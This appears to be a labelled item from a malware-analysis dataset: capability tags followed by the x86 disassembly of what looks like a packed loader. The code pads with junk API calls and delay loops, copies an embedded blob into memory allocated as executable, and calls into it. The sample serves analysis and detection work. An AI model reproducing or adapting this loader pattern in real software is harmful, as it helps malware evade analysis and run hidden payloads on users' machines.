Function at 0x403370
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get disk size
Get file attributes
Get hostname
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x48ae58
push eax
mov eax, 0x1034
mov dword fs:[0], esp
call fcn.0040ff90
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
nop
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x4033ba
inc esi
cmp esi, 0x73f04bd
jl 0x4033a0
cmp dword [0x494c2c], 0x400
jne 0x403454
push ebx
lea eax, [ebp - 0x440]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
xor ecx, ecx
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x20], ebx
mov word [ebp - 0x30], cx
push ebx
push ebx
mov dword [ebp - 4], ebx
call fcn.00404945
push ebx
call fcn.00404d08
add esp, 0xc
push ebx
push ebx
push ebx
call fcn.00404fd1
add esp, 0xc
push ebx
call fcn.00404ed9
add esp, 4
push ebx
call fcn.0040511e
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
sub esp, 8
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00404820
fstp st(0)
add esp, 0x10
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x1c], 8
jb 0x403454
mov edx, dword [ebp - 0x30]
push edx
call fcn.00404bc5
add esp, 4
cmp dword [0x494c2c], 0x93
jne 0x4034d8
xor eax, eax
btr dword [eax], 0
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
push ebx
push ebx
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
push ebx
call fcn.00404aa9
add esp, 8
call fcn.00404817
push 1
push 0x48d400
lea ecx, [ebp - 0x24]
call fcn.00404887
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], 0x402da0
call fcn.00404901
push ebx
call fcn.00404a88
add esp, 4
push ebx
call fcn.00404a9e
add esp, 4
push ebx
push ebx
call fcn.00404ce7
add esp, 8
call fcn.00403360
push ebx
call fcn.0040519a
add esp, 4
mov eax, dword [0x494c2c]
mov ecx, dword [0x48fd24]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x495a68], ecx
mov dword [0x494c2c], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x4946bc], eax
mov esi, 0x1692e
lea esp, [esp]
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x403510
cmp dword [0x494c2c], ebx
jbe 0x4035b4
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, dword [0x495a68]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x4946bc]
mov byte [ecx + esi], al
cmp dword [0x494c2c], 0x490
jne 0x4035a9
push 0
push 0
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push 0
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
lea eax, [ebp - 0x840]
push eax
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x40]
push edx
lea eax, [ebp - 0x18]
push eax
push 0
lea ecx, [ebp - 0x1040]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
lea edx, [ebp - 0x14]
push edx
push 0
lea eax, [ebp - 0x2c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
inc esi
cmp esi, dword [0x494c2c]
jb 0x403533
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
xor esi, esi
mov ecx, dword [0x494c2c]
add ecx, esi
cmp ecx, 0x8d
jne 0x4035f0
push ebx
lea edx, [ebp - 0x440]
push edx
push ebx
push ebx
push ebx
push ebx
call edi
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
inc esi
cmp esi, 0x38681
jl 0x4035bc
call fcn.004032e0
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x403610
call edi
cmp esi, 0x207142
jg 0x403621
inc esi
cmp esi, 0x67d12
jl 0x403606
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x403641
mov dword [ebp - 0x10], ebx
add dword [ebp - 0x10], 0
mov edx, dword [ebp - 0x10]
add dword [0x4946bc], edx
inc esi
cmp esi, 0x674bd
jl 0x403623
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x494c2c], 0x86
jne 0x403698
push 0
call esi
push 0
lea eax, [ebp - 0x1040]
push eax
push 0
call edi
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp dword [0x494c2c], 0xf
jne 0x4036c5
lea ecx, [ebp - 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExA]
sub dword [ebp - 0x10], 1
jne 0x403663
call fcn.00402ff0
call dword [0x4946bc]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret